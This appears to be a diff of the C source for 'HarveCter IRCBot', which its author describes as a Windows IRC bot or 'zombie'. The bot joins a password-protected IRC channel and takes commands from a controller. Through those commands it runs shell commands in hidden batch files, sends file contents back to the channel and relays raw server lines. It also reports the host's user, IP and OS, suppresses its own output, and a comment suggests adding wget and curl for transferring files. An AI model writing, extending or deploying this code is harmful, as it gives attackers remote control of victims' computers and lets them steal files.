/*
-HarveCter IRCBot 1.0b
-This 31337 code by: Harvie 2oo7
-Windows IRC Bot/Zombie/Whatever you want...
+HarveCter IRCBot 1.0b-RC1
+This "313373" code by: Harvie 2oo7
+Minimalistic Windows IRC Bot/Zombie/Whatever you want...
INFO:
Optimalized for Dev-Cpp
!chanpass //Set mode +k
PRIVILEGED COMMANDS:
-!SAY [msg] //Say msg
-!CMD [shell command] //Execute command @ zombie
-!raw [line to send] //Sends raw line to server (you can OP yourself)
+!SAY [msg] //Say msg
+!CMD [shell command] //Execute command @ zombie
+!head [file to send] //Send few (maxlines_to_send) lines of file
+!raw [line to send] //Sends raw line to server (you can OP yourself)
!info //Info about zombie
!time //Localtime @ zombie
!show //Show console window
!respawn //Restart whole zombie
Development comments:
-6 * 128 == 768 == Maximum lenght of IRC message (RFC)
+
*/
-//Preproc:
+//PREPROC:////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <windows.h>
#pragma comment(lib,"ws2_32.a");
+//SETTINGS:///////////////////////////////////////////////////////////////
+ char server[] = "irc.2600.net"; //IRC Server
+ int port = 6667; //Port of IRC Server
+ char channel[] = "#hv"; //IRC Channel
+ char pass[] = "test"; //Bot Password
+ char chanpass[] = "lol"; //Channel Password
+ char rcfile[] = "hircb.rc.bat"; //Run this file hidden at bot startup
+ int maxlines_to_send = 3; //Number of max lines to send at one time
+ #define DEBUG //Enables printing/loging
+ #define ENABLE_EXEC //Compile !CMD
+//MAGICS://///////////////////////////////////////////////////////////////
+ #define CONNECT_CHECKER_SLEEP 20000
+ #define CONNECT_FAIL_SLEEP 5000
+ #define IRC_JOIN_SLEEP 2000
+ #define IRC_RETRY_SLEEP 1000
+ #define MAXCHARS 768 //Maximum lenght of IRC message (RFC - 6 * 128 = 768)
+//MISC:///////////////////////////////////////////////////////////////////
+ char version[] = "1.0b-RC1"; //Bot version
+ char cmdfile[] = "zzzcommands.bat";
+ char nick[128] = "Harvecter"; //Doesn't matter - Username of active user (via getenv()) will be used instead
+
+
+//
+//FUNCTIONS://///////////////////////////////////////////////////////////
+
+//CUT String to 768 characters
+void irc_cut_text(char *line) {
+ *(line+MAXCHARS) = 0;
+ *(line+MAXCHARS-1) = '\n';
+ }
+
//Sends IRC message "msg" to "channel" over socket "s".
int irc_sendmsg(int s, char *channel, char *msg) {
int len, err;
char snd[1024];
+ irc_cut_text(&msg);
sprintf(snd, ": PRIVMSG %s :%s\n", channel, msg);
+ irc_cut_text(&snd);
len = strlen(snd);
err = send(s, snd, len, 0);
+ #ifdef DEBUG
printf("%s", snd); //Show
+ #endif
return err;
}
+//This is thread to check/ping irc connection on background
+int irc_check_socket = -1;
+int irc_check_last = 0;
+int irc_check_thread() {
+ unsigned char ping[] = "PING\n";
+ int irc_check_time, len, err;
+ while(irc_check_last <= 0) sleep(500);
+ while(1) {
+ sleep(CONNECT_CHECKER_SLEEP);
+ #ifdef DEBUG
+ puts("Checking connection...");
+ #endif
+ if(irc_check_socket >= 0) {
+ #ifdef DEBUG
+ puts("Pinging IRC Server...");
+ #endif
+ err = send(irc_check_socket, ping, strlen(ping), 0);
+ sleep(1500);
+ #ifdef DEBUG
+ printf("Server latency: %d\n", time(0)-irc_check_last-1.5);
+ #endif
+ if(time(0)-irc_check_last > (CONNECT_CHECKER_SLEEP/1000)+10 || err == -1) {
+ #ifdef DEBUG
+ puts("Server not responding - disconnecting!\n\n");
+ #endif
+ closesocket(irc_check_socket);
+
+ }
+ }
+ }
+}
+
//MAIN_FUNCTION://////////////////////////////////////////////////////////
-int main(int argc, char *argv[]) {
-
-//SETTINGS:///////////////////////////////////////////////////////////////
- char server[] = "irc.2600.net"; //IRC Server
- int port = 6667; //Port of IRC Server
- char channel[] = "#hv"; //IRC Channel
- char pass[] = "test"; //Bot Password
- char chanpass[] = "lol"; //Channel Password
- char rcfile[] = "hircb.rc.bat"; //Run this file hidden at bot startup
-//MISC:///////////////////////////////////////////////////////////////////
- char version[] = "1.0b"; //Bot version
- char nick[128] = "Harvecter"; //Doesn't matter - Username of active user will be used instead
- char cmdfile[] = "zzzcommands.bat";
- //AllocConsole(); //Ukazat
- //FreeConsole(); //Schovat... ;)
+int main(int argc, char *argv[]) {
+
+//MORE SETTINGS://////////////////////////////////////////////////////////
+ //AllocConsole(); //Show
+ //FreeConsole(); //Hide... ;)
//freopen("log.txt", "ab", stdout); //Log all outputs to file
//INITIALIZATIONS:////////////////////////////////////////////////////////
+ #ifndef DEBUG
+ fclose(stdout);
+ fclose(stdin);
+ #endif
srand(time(0));
- char lclhost[256], lclhostnm[256], hostmsg[1000];
+ int i;
+ unsigned char lclhost[256], lclhostnm[256], hostmsg[1000], linebuf[600];
char *user, *processor, *root, *logonsrvr, *os, rnd[10];
//Load enviroment variables
user = getenv("USERNAME");
time_t cas;
//cmd
FILE *cmdf;
+ //Start connection checking thread:
+ unsigned checker_thread_id;
+ unsigned long checker_handle;
+ checker_handle = _beginthreadex( NULL, 0, irc_check_thread, 0, 0, &checker_thread_id);
+ if (checker_handle == 0) {
+ #ifdef DEBUG
+ puts("Cannot create connection watching thread!");
+ #endif
+ return(20);
+ }
//////////////////////////////////////////////////////////////////////////
//CODE:///////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
//Delete cmdfile (Hell knows it's useful...)
cmdf = fopen(cmdfile, "w");
- fprintf(cmdf, "del %s\n", cmdfile);
+ fprintf(cmdf, "del %s 2>nul\n", cmdfile);
fclose(cmdf);
WinExec(cmdfile,SW_HIDE);
//Print banner
+ #ifdef DEBUG
printf("HarveCter IRCBot v%s\nConnecting: %s@%s:%i as %s\n\n", version, channel, server, port, nick);
+ #endif
//Execute startup script
WinExec(rcfile,SW_HIDE); //Run rcfile (hidden)
//Set details for WSA
while( (host=gethostbyname(server)) == NULL){ //Host
+ #ifdef DEBUG
printf("!Error server host not found\nwaiting 5s...\n");
- sleep(5000);
+ #endif
+ sleep(CONNECT_FAIL_SLEEP);
}
sck.sin_family = PF_INET;
memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length);
//Info at localhost
while ((localhost=gethostbyname("")) == NULL) {
+ #ifdef DEBUG
printf("!Error local host not found\nwaiting 5s...\n");
- sleep(5000);
+ #endif
+ sleep(CONNECT_FAIL_SLEEP);
}
sprintf(lclhostnm, "%s", localhost->h_name);
sprintf(lclhost, "%s", inet_ntoa(*((struct in_addr *)localhost->h_addr)));
- sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s\n", user, lclhostnm, lclhost, logonsrvr, os, root, processor);
+ sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s - VERSION: %s\n", user, lclhostnm, lclhost, logonsrvr, os, root, processor, version);
+ #ifdef DEBUG
printf("%s\n", hostmsg);
+ #endif
//Initialization of strings used for IRC communication, etc...
int len, err; //Lenght, Error
//Infinite loop (bot can't stop)
while(1) {
+ irc_check_socket = -1; //disable connection checking
//Create socket
s=socket(AF_INET, SOCK_STREAM, 0);
//Connect
while( ( connect(s, (struct sockaddr *)&sck, sizeof(sck)) ) ) {
+ #ifdef DEBUG
printf("!Error while connecting\nwaiting 5s...\n");
- sleep(5000);
- }
+ #endif
+ sleep(CONNECT_FAIL_SLEEP);
+ }
+ irc_check_socket = s; //enable connection checking for socket s
//IRC Server login
sprintf(snd, "USER USER %s # # :%s\nNICK %s\nJOIN %s\n", nick, nick, nick);
+ irc_cut_text(&snd);
len = strlen(snd);
err = send(s, snd, len, 0);
//Join&Set channel password
sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
- sleep(1000);
+ sleep(IRC_RETRY_SLEEP);
err = send(s, snd, len, 0);
//mode #chan +k heslo
- sleep(2000);
+ sleep(IRC_JOIN_SLEEP);
sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
- sleep(1000);
+ sleep(IRC_RETRY_SLEEP);
err = send(s, snd, len, 0);
//Loop (while connection exists)
err = 1;
- while( err && err != -1) {
+ while(err && err != -1) {
//JOIN
sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
//RECIEVE
memset(rcv, '\0', 1024);
sub = 0;
- err = recv(s, rcv, 1024, 0);
+ err = recv(s, rcv, 1020, 0);
+ irc_cut_text(&rcv);
+ #ifdef DEBUG
printf("%s", rcv);
+ #endif
+ irc_check_last = time(0); //For connection checker
//PING-PONG (Respond to server pings only)
if ( (sub = (strstr(rcv, "PING :"))) ) {
sub = sub+6;
sprintf(snd, "PONG :%s", sub);
+ irc_cut_text(&snd);
len = strlen(snd);
err = send(s, snd, len, 0);
+ #ifdef DEBUG
printf("%s", snd);
+ #endif
}
sub = 0;
if ( (sub = (strstr(rcv, ":!chanpass"))) ) {
+ #ifdef DEBUG
printf("!Setting chanpass\n");
+ #endif
sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass);
+ irc_cut_text(&snd);
len = strlen(snd);
err = send(s, snd, len, 0);
}
sprintf(passin, "%s", sub);
if ( strstr(passin, pass) ) { //Use this condition to check login.
sprintf(msg, "Login succesful");
- irc_sendmsg(s, channel, msg);
+ err = irc_sendmsg(s, channel, msg);
+ #ifdef DEBUG
printf("\n!!!Login succesful\n");
+ #endif
} else {
sprintf(msg, "Loged out");
- irc_sendmsg(s, channel, msg);
+ err = irc_sendmsg(s, channel, msg);
+ #ifdef DEBUG
printf("!!!Loged out\n\n");
+ #endif
}
}
sub = 0;
//TIME
if ( (sub = (strstr(rcv, ":!time"))) ) {
+ #ifdef DEBUG
printf("Time\n");
- //struct tm t;
-
- cas = time(NULL);
+ #endif
+
+ cas = time(0);
p_st_cas = localtime(&cas);
strftime(msg, 512, "%H:%M:%S (%p) - %d(%A) %m(%B) %Y - %Z", p_st_cas);
//SEND RAW
if ( (sub = (strstr(rcv, ":!raw "))) ) {
sub = sub+6;
+ irc_cut_text(&sub);
len = strlen(sub);
err = send(s, sub, len, 0);
}
sub = 0;
+ #ifdef ENABLE_EXEC
//SHELL
//Hey! Don't forget to download wget&curl in bot directory!! ;D
//With wget and curl you will be able to download and upload files...
if ( (sub = (strstr(rcv, ":!CMD "))) ) {
sub = sub+6;
- sprintf(snd, "%s", sub);
- printf("!CMD %s", snd);
+ #ifdef DEBUG
+ printf("!CMD %s", sub);
+ #endif
sprintf(msg, "Executing: %s", sub);
irc_sendmsg(s, channel, msg);
+ #ifdef DEBUG
printf("!!! %s", msg);
+ #endif
FILE *cmdf = fopen(cmdfile, "w");
- fprintf(cmdf, "%s\ndel %s\n", snd, cmdfile);
+ fprintf(cmdf, "%s\ndel %s\n", sub, cmdfile);
fclose(cmdf);
WinExec(cmdfile,SW_HIDE); //Hide console window
//system(cmdfile); //Show console window
}
sub = 0;
+ #endif
+
+ //SEND LINE OF FILE
+ if ( (sub = (strstr(rcv, ":!head "))) ) {
+ sub = sub+7;
+ #ifdef DEBUG
+ printf("!head %s", sub);
+ #endif
+
+ for(i=0;i<strlen(sub);i++) {
+ if(sub[i]=='\n' || sub[i]=='\r') sub[i]=0;
+
+ }
+
+ if((cmdf = fopen(sub, "r")) != NULL) {
+ for(i=0;i<maxlines_to_send;i++) {
+ fgets(linebuf, (600-1), cmdf);
+ sprintf(msg, "%s: %s\n", sub, linebuf);
+ irc_sendmsg(s, channel, msg);
+ #ifdef DEBUG
+ printf("-> %s", msg);
+ #endif
+ }
+
+ fclose(cmdf);
+ }
+ }
//HIDE/SHOW
if ( (sub = (strstr(rcv, ":!hide"))) ) { FreeConsole(); } sub = 0;
closesocket(s);
sprintf(msg, "ERROR: Couldn't close socket :(");
err = irc_sendmsg(s, channel, msg);
+ #ifdef DEBUG
printf("\nRESTARTING...\n\n");
+ #endif
}
sub = 0;
if ( (sub = (strstr(rcv, ":!respawn"))) ) {
sprintf(msg, "Please wait while respawning...");
err = irc_sendmsg(s, channel, msg);
+ #ifdef DEBUG
printf("\nRESPAWNING...\n\n");
+ #endif
closesocket(s);
execl(argv[0], NULL); //Exchange old process for new (argv[0])
sprintf(msg, "ERROR: Couldn't respawn :(");
err = irc_sendmsg(s, channel, msg);
+ #ifdef DEBUG
printf("ERROR: Couldn't respawn :(\n");
+ #endif
}
sub = 0;
//Close
closesocket(s);
+ #ifdef DEBUG
printf("!Error while sending\nwaiting 5s before reconnect...\n");
- sleep(5000);
+ #endif
+ sleep(CONNECT_FAIL_SLEEP);
}//InfiniteLoopEND
- //Zavrit
+ //Finito (never reach here)
closesocket(s);
WSACleanup(); //Flush WSA
return(0);
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